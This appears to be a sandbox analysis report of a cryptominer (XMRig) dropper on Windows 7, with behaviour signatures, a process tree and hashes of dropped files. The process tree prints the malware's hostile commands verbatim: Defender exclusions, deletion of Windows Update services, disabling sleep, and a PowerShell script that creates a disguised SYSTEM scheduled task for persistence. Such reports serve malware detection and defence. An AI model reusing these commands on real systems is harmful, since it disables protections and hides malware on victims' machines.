Analysis

  • max time kernel
    151s
  • max time network
    194s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    11/02/2023, 08:58

General

  • Target

    2850ccb10aa6f6700d555ca67f89f1e0.exe

  • Size

    7.4MB

  • MD5

    2850ccb10aa6f6700d555ca67f89f1e0

  • SHA1

    c55b593e654f822ed59d86bab7f8e081b331f132

  • SHA256

    4589f71870479cdddc1439394eb7c27da1c95d1f7a89016168f32f6791f541ab

  • SHA512

    8ee232798200eb6b25116ef75c3a07f61812ee3865b95272e92010ccc021d3fb261982a309c69a592cab5e397de945733133bb2cfd77faaa0be9acf3038df0c9

  • SSDEEP

    196608:ak5uXAsEDJBbnU3ec/fEF9KtlsWQpAJyy8:ak5uQZfLU3P3Y9qlrJy

Malware Config

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 14 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Stops running service(s) 3 TTPs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 13 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • VMProtect packed file 6 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 14 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 22 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 33 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\services.exe
    C:\Windows\system32\services.exe
    1⤵
      PID:464
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Drops file in Windows directory
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:872
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {90E318D4-0F31-4DD9-8729-9FEFAE2D5613} S-1-5-18:NT AUTHORITY\System:Service:
          3⤵
          • Loads dropped DLL
          PID:1104
          • C:\Program Files\Notepad\Chrome\updater.exe
            "C:\Program Files\Notepad\Chrome\updater.exe"
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            PID:1768
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k WspService
        2⤵
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious behavior: GetForegroundWindowSpam
        PID:1876
    • C:\Windows\Explorer.EXE
      C:\Windows\Explorer.EXE
      1⤵
        PID:1228
        • C:\Users\Admin\AppData\Local\Temp\2850ccb10aa6f6700d555ca67f89f1e0.exe
          "C:\Users\Admin\AppData\Local\Temp\2850ccb10aa6f6700d555ca67f89f1e0.exe"
          2⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1364
          • C:\Users\Admin\AppData\Local\Temp\llpb1133.exe
            "C:\Users\Admin\AppData\Local\Temp\llpb1133.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1628
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 1628 -s 56
              4⤵
              • Loads dropped DLL
              • Program crash
              PID:628
          • C:\Users\Admin\AppData\Local\Temp\liuj.exe
            "C:\Users\Admin\AppData\Local\Temp\liuj.exe"
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:592
            • C:\Users\Admin\AppData\Local\Temp\liuj.exe
              "C:\Users\Admin\AppData\Local\Temp\liuj.exe" -h
              4⤵
              • Executes dropped EXE
              PID:1768
          • C:\Users\Admin\AppData\Local\Temp\XandETC.exe
            "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
            3⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            PID:1872
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1596
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1740
          • C:\Windows\System32\sc.exe
            sc stop UsoSvc
            3⤵
            • Launches sc.exe
            PID:1052
          • C:\Windows\System32\sc.exe
            sc stop WaaSMedicSvc
            3⤵
            • Launches sc.exe
            PID:1180
          • C:\Windows\System32\sc.exe
            sc stop wuauserv
            3⤵
            • Launches sc.exe
            PID:1972
          • C:\Windows\System32\sc.exe
            sc stop bits
            3⤵
            • Launches sc.exe
            PID:1104
          • C:\Windows\System32\sc.exe
            sc stop dosvc
            3⤵
            • Launches sc.exe
            PID:980
          • C:\Windows\System32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
            3⤵
              PID:1792
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
              3⤵
                PID:316
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                3⤵
                • Modifies security service
                PID:1108
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                3⤵
                  PID:1016
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                  3⤵
                    PID:1664
                • C:\Windows\System32\cmd.exe
                  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1676
                  • C:\Windows\System32\powercfg.exe
                    powercfg /x -hibernate-timeout-ac 0
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:592
                  • C:\Windows\System32\powercfg.exe
                    powercfg /x -hibernate-timeout-dc 0
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1560
                  • C:\Windows\System32\powercfg.exe
                    powercfg /x -standby-timeout-ac 0
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1392
                  • C:\Windows\System32\powercfg.exe
                    powercfg /x -standby-timeout-dc 0
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1644
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:700
                  • C:\Windows\system32\schtasks.exe
                    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn NoteUpdateTaskMachineQC /tr "'C:\Program Files\Notepad\Chrome\updater.exe'"
                    3⤵
                    • Creates scheduled task(s)
                    PID:636
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1376
                  • C:\Windows\system32\schtasks.exe
                    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
                    3⤵
                      PID:1972
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                    2⤵
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1960
                  • C:\Windows\System32\cmd.exe
                    C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                    2⤵
                      PID:1464
                      • C:\Windows\System32\sc.exe
                        sc stop UsoSvc
                        3⤵
                        • Launches sc.exe
                        PID:1740
                      • C:\Windows\System32\sc.exe
                        sc stop WaaSMedicSvc
                        3⤵
                        • Launches sc.exe
                        PID:2044
                      • C:\Windows\System32\sc.exe
                        sc stop wuauserv
                        3⤵
                        • Launches sc.exe
                        PID:344
                      • C:\Windows\System32\sc.exe
                        sc stop bits
                        3⤵
                        • Launches sc.exe
                        PID:2000
                      • C:\Windows\System32\sc.exe
                        sc stop dosvc
                        3⤵
                        • Launches sc.exe
                        PID:1220
                      • C:\Windows\System32\reg.exe
                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                        3⤵
                          PID:1708
                        • C:\Windows\System32\reg.exe
                          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                          3⤵
                            PID:560
                          • C:\Windows\System32\reg.exe
                            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                            3⤵
                              PID:1880
                            • C:\Windows\System32\reg.exe
                              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                              3⤵
                                PID:1016
                              • C:\Windows\System32\reg.exe
                                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                3⤵
                                  PID:928
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
                                2⤵
                                • Drops file in System32 directory
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:280
                                • C:\Windows\system32\schtasks.exe
                                  "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn NoteUpdateTaskMachineQC /tr "'C:\Program Files\Notepad\Chrome\updater.exe'"
                                  3⤵
                                  • Creates scheduled task(s)
                                  PID:2040
                              • C:\Windows\System32\cmd.exe
                                C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                2⤵
                                  PID:636
                                  • C:\Windows\System32\powercfg.exe
                                    powercfg /x -hibernate-timeout-ac 0
                                    3⤵
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1680
                                  • C:\Windows\System32\powercfg.exe
                                    powercfg /x -hibernate-timeout-dc 0
                                    3⤵
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1776
                                  • C:\Windows\System32\powercfg.exe
                                    powercfg /x -standby-timeout-ac 0
                                    3⤵
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1364
                                  • C:\Windows\System32\powercfg.exe
                                    powercfg /x -standby-timeout-dc 0
                                    3⤵
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1292
                                • C:\Windows\System32\conhost.exe
                                  C:\Windows\System32\conhost.exe zuhwtyqtfkk
                                  2⤵
                                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:1796
                                • C:\Windows\System32\cmd.exe
                                  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                                  2⤵
                                  • Drops file in Program Files directory
                                  PID:772
                                • C:\Windows\System32\cmd.exe
                                  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                                  2⤵
                                  • Drops file in Program Files directory
                                  PID:1100
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic PATH Win32_VideoController GET Name, VideoProcessor
                                    3⤵
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:576
                                • C:\Windows\System32\conhost.exe
                                  C:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=
                                  2⤵
                                    PID:1288
                                • C:\Windows\system32\rundll32.exe
                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
                                  1⤵
                                  • Process spawned unexpected child process
                                  • Suspicious use of WriteProcessMemory
                                  PID:1700
                                  • C:\Windows\SysWOW64\rundll32.exe
                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
                                    2⤵
                                    • Loads dropped DLL
                                    • Modifies registry class
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of WriteProcessMemory
                                    PID:2024

                                Network

                                MITRE ATT&CK Enterprise v6

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • C:\Program Files\Google\Libs\g.log

                                  Filesize

                                  198B

                                  MD5

                                  37dd19b2be4fa7635ad6a2f3238c4af1

                                  SHA1

                                  e5b2c034636b434faee84e82e3bce3a3d3561943

                                  SHA256

                                  8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

                                  SHA512

                                  86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

                                • C:\Program Files\Notepad\Chrome\updater.exe

                                  Filesize

                                  3.7MB

                                  MD5

                                  3006b49f3a30a80bb85074c279acc7df

                                  SHA1

                                  728a7a867d13ad0034c29283939d94f0df6c19df

                                  SHA256

                                  f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

                                  SHA512

                                  e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

                                • C:\Program Files\Notepad\Chrome\updater.exe

                                  Filesize

                                  3.7MB

                                  MD5

                                  3006b49f3a30a80bb85074c279acc7df

                                  SHA1

                                  728a7a867d13ad0034c29283939d94f0df6c19df

                                  SHA256

                                  f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

                                  SHA512

                                  e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

                                • C:\Users\Admin\AppData\Local\Temp\XandETC.exe

                                  Filesize

                                  3.7MB

                                  MD5

                                  3006b49f3a30a80bb85074c279acc7df

                                  SHA1

                                  728a7a867d13ad0034c29283939d94f0df6c19df

                                  SHA256

                                  f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

                                  SHA512

                                  e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

                                • C:\Users\Admin\AppData\Local\Temp\XandETC.exe

                                  Filesize

                                  3.7MB

                                  MD5

                                  3006b49f3a30a80bb85074c279acc7df

                                  SHA1

                                  728a7a867d13ad0034c29283939d94f0df6c19df

                                  SHA256

                                  f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

                                  SHA512

                                  e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

                                • C:\Users\Admin\AppData\Local\Temp\db.dat

                                  Filesize

                                  557KB

                                  MD5

                                  30d5f615722d12fdda4f378048221909

                                  SHA1

                                  e94e3e3a6fae8b29f0f80128761ad1b69304a7eb

                                  SHA256

                                  b7cb464cd0c61026ec38d89c0a041393bc9369e217303677551eec65a09d2628

                                  SHA512

                                  a561a224d7228ec531a966c7dbd6bc88138e2f4a1c8112e5950644f69bf3a43b1e87e03bc1b4fd5e9ca071b5a9353b18697573404602ccd51f2946faf95144c2

                                • C:\Users\Admin\AppData\Local\Temp\db.dll

                                  Filesize

                                  52KB

                                  MD5

                                  1b20e998d058e813dfc515867d31124f

                                  SHA1

                                  c9dc9c42a748af18ae1a8c882b90a2b9e3313e6f

                                  SHA256

                                  24a53033a2e89acf65f6a5e60d35cb223585817032635e81bf31264eb7dabd00

                                  SHA512

                                  79849fbdb9a9e7f7684b570d14662448b093b8aa2b23dfd95856db3a78faf75a95d95c51b8aa8506c4fbecffebcc57cd153dda38c830c05b8cd38629fae673c6

                                • C:\Users\Admin\AppData\Local\Temp\liuj.exe

                                  Filesize

                                  160KB

                                  MD5

                                  b9363486500e209c05f97330226bbf8a

                                  SHA1

                                  bfe2d0072d09b30ec66dee072dde4e7af26e4633

                                  SHA256

                                  01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35

                                  SHA512

                                  6d06e5baeab962d85b306c72f39a82e40e22eb889867c11c406a069011155cb8901bf021f48efc98fd95340be7e9609fc11f4e24fc322dbf721e610120771534

                                • C:\Users\Admin\AppData\Local\Temp\liuj.exe

                                  Filesize

                                  160KB

                                  MD5

                                  b9363486500e209c05f97330226bbf8a

                                  SHA1

                                  bfe2d0072d09b30ec66dee072dde4e7af26e4633

                                  SHA256

                                  01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35

                                  SHA512

                                  6d06e5baeab962d85b306c72f39a82e40e22eb889867c11c406a069011155cb8901bf021f48efc98fd95340be7e9609fc11f4e24fc322dbf721e610120771534

                                • C:\Users\Admin\AppData\Local\Temp\liuj.exe

                                  Filesize

                                  160KB

                                  MD5

                                  b9363486500e209c05f97330226bbf8a

                                  SHA1

                                  bfe2d0072d09b30ec66dee072dde4e7af26e4633

                                  SHA256

                                  01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35

                                  SHA512

                                  6d06e5baeab962d85b306c72f39a82e40e22eb889867c11c406a069011155cb8901bf021f48efc98fd95340be7e9609fc11f4e24fc322dbf721e610120771534

                                • C:\Users\Admin\AppData\Local\Temp\llpb1133.exe

                                  Filesize

                                  3.5MB

                                  MD5

                                  81a0ecc23b44da5116d397c0a3104a05

                                  SHA1

                                  01efd55a04010ec4e7197bcac7ec351bb8e5bf07

                                  SHA256

                                  3f59d2cf23b45b7f56563e85bf818f827f2607d12661fb438bcf031550ec0ec0

                                  SHA512

                                  cf0c87b4b5101898a48ab312cd1436e2738762ee74d1d77a29635053a373d5dff237da84a17dfe7897c7e99b919325ff8c47238a2fd06dfdb04f3d18f4a97185

                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                  Filesize

                                  7KB

                                  MD5

                                  cab093fb2901df7c4bbe5df9c7af8d6c

                                  SHA1

                                  4c3e8770b234f546ae330649d1241dad663ad44e

                                  SHA256

                                  719bdce459d25e0f28bad772d76eda22c7003366c3e656b5415b1b1897475f9f

                                  SHA512

                                  5cb819cf0abbeba61a0f8566438a650a6c1d533f6c4a3a5a44ec6cb0fc9be16c526cce1e2c2aff950c93655ef3d27c211aa205e4f60c3a8387255d7de5ae67ee

                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                  Filesize

                                  7KB

                                  MD5

                                  cab093fb2901df7c4bbe5df9c7af8d6c

                                  SHA1

                                  4c3e8770b234f546ae330649d1241dad663ad44e

                                  SHA256

                                  719bdce459d25e0f28bad772d76eda22c7003366c3e656b5415b1b1897475f9f

                                  SHA512

                                  5cb819cf0abbeba61a0f8566438a650a6c1d533f6c4a3a5a44ec6cb0fc9be16c526cce1e2c2aff950c93655ef3d27c211aa205e4f60c3a8387255d7de5ae67ee

                                • C:\Windows\System32\Tasks\NoteUpdateTaskMachineQC

                                  Filesize

                                  3KB

                                  MD5

                                  6ceeabb782e147e99f587607359c808e

                                  SHA1

                                  e838a47d4c1e206e9d68402852e6141f7edec90a

                                  SHA256

                                  290b18133651adef377337b4d726dc0cadd2cb39b875d83f4100cb2f641deaea

                                  SHA512

                                  012d28b7bfc451b60e791720205c40242b5bad73429a1bf58c17672ef3846e78f2d426cbc8b993e2f74cfe7efc4d8cbeb56bbe5a2d9eadd76c83ac65540e9fc7

                                • \Program Files\Notepad\Chrome\updater.exe

                                  Filesize

                                  3.7MB

                                  MD5

                                  3006b49f3a30a80bb85074c279acc7df

                                  SHA1

                                  728a7a867d13ad0034c29283939d94f0df6c19df

                                  SHA256

                                  f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

                                  SHA512

                                  e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

                                • \Users\Admin\AppData\Local\Temp\XandETC.exe

                                  Filesize

                                  3.7MB

                                  MD5

                                  3006b49f3a30a80bb85074c279acc7df

                                  SHA1

                                  728a7a867d13ad0034c29283939d94f0df6c19df

                                  SHA256

                                  f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

                                  SHA512

                                  e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

                                • \Users\Admin\AppData\Local\Temp\db.dll

                                  Filesize

                                  52KB

                                  MD5

                                  1b20e998d058e813dfc515867d31124f

                                  SHA1

                                  c9dc9c42a748af18ae1a8c882b90a2b9e3313e6f

                                  SHA256

                                  24a53033a2e89acf65f6a5e60d35cb223585817032635e81bf31264eb7dabd00

                                  SHA512

                                  79849fbdb9a9e7f7684b570d14662448b093b8aa2b23dfd95856db3a78faf75a95d95c51b8aa8506c4fbecffebcc57cd153dda38c830c05b8cd38629fae673c6

                                • \Users\Admin\AppData\Local\Temp\db.dll

                                  Filesize

                                  52KB

                                  MD5

                                  1b20e998d058e813dfc515867d31124f

                                  SHA1

                                  c9dc9c42a748af18ae1a8c882b90a2b9e3313e6f

                                  SHA256

                                  24a53033a2e89acf65f6a5e60d35cb223585817032635e81bf31264eb7dabd00

                                  SHA512

                                  79849fbdb9a9e7f7684b570d14662448b093b8aa2b23dfd95856db3a78faf75a95d95c51b8aa8506c4fbecffebcc57cd153dda38c830c05b8cd38629fae673c6

                                • \Users\Admin\AppData\Local\Temp\db.dll

                                  Filesize

                                  52KB

                                  MD5

                                  1b20e998d058e813dfc515867d31124f

                                  SHA1

                                  c9dc9c42a748af18ae1a8c882b90a2b9e3313e6f

                                  SHA256

                                  24a53033a2e89acf65f6a5e60d35cb223585817032635e81bf31264eb7dabd00

                                  SHA512

                                  79849fbdb9a9e7f7684b570d14662448b093b8aa2b23dfd95856db3a78faf75a95d95c51b8aa8506c4fbecffebcc57cd153dda38c830c05b8cd38629fae673c6

                                • \Users\Admin\AppData\Local\Temp\db.dll

                                  Filesize

                                  52KB

                                  MD5

                                  1b20e998d058e813dfc515867d31124f

                                  SHA1

                                  c9dc9c42a748af18ae1a8c882b90a2b9e3313e6f

                                  SHA256

                                  24a53033a2e89acf65f6a5e60d35cb223585817032635e81bf31264eb7dabd00

                                  SHA512

                                  79849fbdb9a9e7f7684b570d14662448b093b8aa2b23dfd95856db3a78faf75a95d95c51b8aa8506c4fbecffebcc57cd153dda38c830c05b8cd38629fae673c6

                                • \Users\Admin\AppData\Local\Temp\liuj.exe

                                  Filesize

                                  160KB

                                  MD5

                                  b9363486500e209c05f97330226bbf8a

                                  SHA1

                                  bfe2d0072d09b30ec66dee072dde4e7af26e4633

                                  SHA256

                                  01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35

                                  SHA512

